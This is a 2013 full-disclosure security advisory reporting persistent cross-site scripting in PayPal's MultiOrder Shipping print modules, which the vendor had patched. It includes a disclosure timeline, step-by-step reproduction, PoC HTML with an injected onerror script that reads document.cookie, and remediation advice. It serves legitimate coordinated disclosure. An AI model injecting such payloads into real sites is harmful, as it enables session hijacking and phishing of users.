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[Full-disclosure] Paypal Inc Bug Bounty #105 MOS - Multiple Persistent Print Layout Vulnerabilities
- To: full-disclosure@xxxxxxxxxxxxxxxxx
- Subject: [Full-disclosure] Paypal Inc Bug Bounty #105 MOS - Multiple Persistent Print Layout Vulnerabilities
- From: Vulnerability Lab <research@xxxxxxxxxxxxxxxxxxxxx>
- Date: Tue, 15 Oct 2013 15:14:19 +0200
Document Title:
===============
Paypal Inc Bug Bounty #105 MOS - Multiple Persistent Print Layout
Vulnerabilities
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1039
PayPal Security UID: xE1128lV
Release Date:
=============
2013-10-15
Vulnerability Laboratory ID (VL-ID):
====================================
1039
Common Vulnerability Scoring System:
====================================
5.1
Product & Service Introduction:
===============================
PayPal is a global e-commerce business allowing payments and money transfers to
be made through the Internet. Online money
transfers serve as electronic alternatives to paying with traditional paper
methods, such as checks and money orders. Originally,
a PayPal account could be funded with an electronic debit from a bank account
or by a credit card at the payer s choice. But some
time in 2010 or early 2011, PayPal began to require a verified bank account
after the account holder exceeded a predetermined
spending limit. After that point, PayPal will attempt to take funds for a
purchase from funding sources according to a specified
funding hierarchy. If you set one of the funding sources as Primary, it will
default to that, within that level of the hierarchy
(for example, if your credit card ending in 4567 is set as the Primary over
1234, it will still attempt to pay money out of your
PayPal balance, before it attempts to charge your credit card). The funding
hierarchy is a balance in the PayPal account; a
PayPal credit account, PayPal Extras, PayPal SmartConnect, PayPal Extras Master
Card or Bill Me Later (if selected as primary
funding source) (It can bypass the Balance); a verified bank account; other
funding sources, such as non-PayPal credit cards.
The recipient of a PayPal transfer can either request a check from PayPal,
establish their own PayPal deposit account or request
a transfer to their bank account.
PayPal is an acquirer, performing payment processing for online vendors,
auction sites, and other commercial users, for which it
charges a fee. It may also charge a fee for receiving money, proportional to
the amount received. The fees depend on the currency
used, the payment option used, the country of the sender, the country of the
recipient, the amount sent and the recipient s account
type. In addition, eBay purchases made by credit card through PayPal may incur
extra fees if the buyer and seller use different currencies.
On October 3, 2002, PayPal became a wholly owned subsidiary of eBay. Its
corporate headquarters are in San Jose, California, United
States at eBay s North First Street satellite office campus. The company also
has significant operations in Omaha, Nebraska, Scottsdale,
Arizona, and Austin, Texas, in the United States, Chennai, Dublin, Kleinmachnow
(near Berlin) and Tel Aviv. As of July 2007, across
Europe, PayPal also operates as a Luxembourg-based bank.
On March 17, 2010, PayPal entered into an agreement with China UnionPay (CUP),
China s bankcard association, to allow Chinese consumers
to use PayPal to shop online.PayPal is planning to expand its workforce in Asia
to 2,000 by the end of the year 2010.
Between December 4ñ9, 2010, PayPal services were attacked in a series of
denial-of-service attacks organized by Anonymous in retaliation
for PayPal s decision to freeze the account of WikiLeaks citing terms of use
violations over the publication of leaked US diplomatic cables.
(Copy of the Homepage: www.paypal.com) [http://en.wikipedia.org/wiki/PayPal]
Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered a persistent web
vulnerability in the official PayPal Inc (Core & API) Shipping Application.
Vulnerability Disclosure Timeline:
==================================
2013-08-03: Researcher Notification & Coordination (Benjamin Kunz Mejri)
2013-08-04: Vendor Notification (PayPal Site Security Team - Bug Bounty
Program)
2013-08-08: Vendor Response/Feedback (PayPal Site Security Team - Bug
Bounty Program)
2013-09-26: Vendor Fix/Patch (PayPal Site Developer Team - PayPal Inc)
2013-10-15: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
PayPal Inc
Product: Shipping & MOS Application - API 2013 Q2
Exploitation Technique:
=======================
Remote
Severity Level:
===============
High
Technical Details & Description:
================================
Multiple persistent input validation web vulnerabilities are detected in the
official PayPal Inc (Core & API) Shipping Web Application.
The vulnerability allows remote attacker to inject own malicious script codes
to the application-side with persistent attack vector.
The vulnerability is located in the Print Packing Slips and Print Selected
module when processing to request via POST method
manipulated itemno, orderno, order or description parameters. The remote
attacker can inject the malicious payload (script code)
as profile shipping pickup values or item details. The effect of the inject
will only be visible in the print of the application
and executes from the bottom of the generated print results list.
Exploitation of the persistent web vulnerability requires a low privilege web
application user account and low user interaction.
Successful exploitation of the vulnerability results in session hijacking,
persistent phishing, persistent external redirects,
persistent load of malicous script codes or persistent web module context
manipulation.
Vulnerable Service(s):
[+] Paypal Inc - PayPal MultiOrder Shipping
Application (Core & API)
Vulnerable Module(s):
[+] Print Packing Slips
[+] Print Selected Context
Vulnerable Parameter(s):
[+] itemno
[+] orderno
[+] description
Affected Module(s):
[+] Print Listing - All or Selected
[+] Print Bottom Listing (Separat)
Proof of Concept (PoC):
=======================
The persistent input validation web vulnerabilities can be exploited by remote
attackers without privilege application user account
and with low user interaction. For demonstration or reproduce ...
Manual steps to reproduce the remote vulnerability ...
1. Register a US Paypal account and activate the shipping tools module
2. Open it up and inject as order number, item number and description your own
script code as payload
3. Open the Print Packing Slips or Print Selected module to list the already
injected payload
4. A new seperate window openes on print selected values of the shipping request
5. The injected payload will be executed in the bottom of the print listing
6. Successful reproduced!
PoC: PACKING SLIP - Print All
<tr><td width="1*"><img
src="PayPal%20MultiOrder%20Shipping%20-%20Print%20Packing%20Slips%20-poc_files/honey8.htm"
border="0"></td><td
valign="bottom">"/><br>"/>a%20/>"><img
src="PayPal%20MultiOrder%20Shipping%20-%20Print%20Packing%20Slips%20-poc_files/t.htm"
onerror="prompt(document.cookie)">
a%20/>"><h1>alsfkjlan</h1><br>a%20/>"><h1>alsfkjlan</h1><br>Galveston"/>, TX
77550</td>
<td class="packskip" align="right" valign="bottom">PACKING SLIP</td></tr>
... ...
<tr><td width="1*"><img
src="PayPal%20MultiOrder%20Shipping%20-%20Print%20Packing%20Slips555555_files/honey8.htm"
border="0"></td><td
valign="bottom">"/><br>"/>a%20/>"><img
src="PayPal%20MultiOrder%20Shipping%20-%20Print%20Packing%20Slips555555_files/t.htm"
onerror="prompt(document.cookie)">
a%20/>"><h1>alsfkjlan</h1><br>a%20/>"><h1>alsfkjlan</h1><br>Galveston"/>, TX
77550</td>
<td class="packskip" align="right" valign="bottom">PACKING SLIP</td></tr>
... ...
<tr><td width="1*">​​​​​<img
src="http://vulnerability-lab.com/honey8.html"; border="0"></td><td
valign="bottom">"/><br>"/>a%20/>">
<img src="t.png" onerror="prompt(document.cookie)">
a%20/>"><h1>alsfkjlan</h1>​​​​​<br>a%20/>"><h1>alsfkjlan</h1><br>Galveston"
/>, TX 77550</td><td class="packskip" align="right" valign="bottom">PACKING
SLIP</td></tr>
PoC: PACKING SLIP - Print Selected
<tr><td width="1*"><img
src="PayPal%20MultiOrder%20Shipping%20-%20Print%20Packing%20Slips555555_files/honey8.htm"
border="0"></td>
<td valign="bottom"></td><td class="packskip" align="right"
valign="bottom">PACKING SLIP</td></tr>
Solution - Fix & Patch:
=======================
The vulnerability can be patched by a restriction of the vulnerable
description, itemno, oder, orderno parameters input.
The input needs to be secure encoded and parsed by a separate filter mechanism.
At the end parse and encode the print output listing in the documents of the
print selected and print packing slips module.
Security Risk:
==============
The security risk of the persistent input validation web vulnerability is
estimated as medium(+)|(-)high.
Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri
(bkm@xxxxxxxxxxxxxxxxx)
Disclaimer & Information:
=========================
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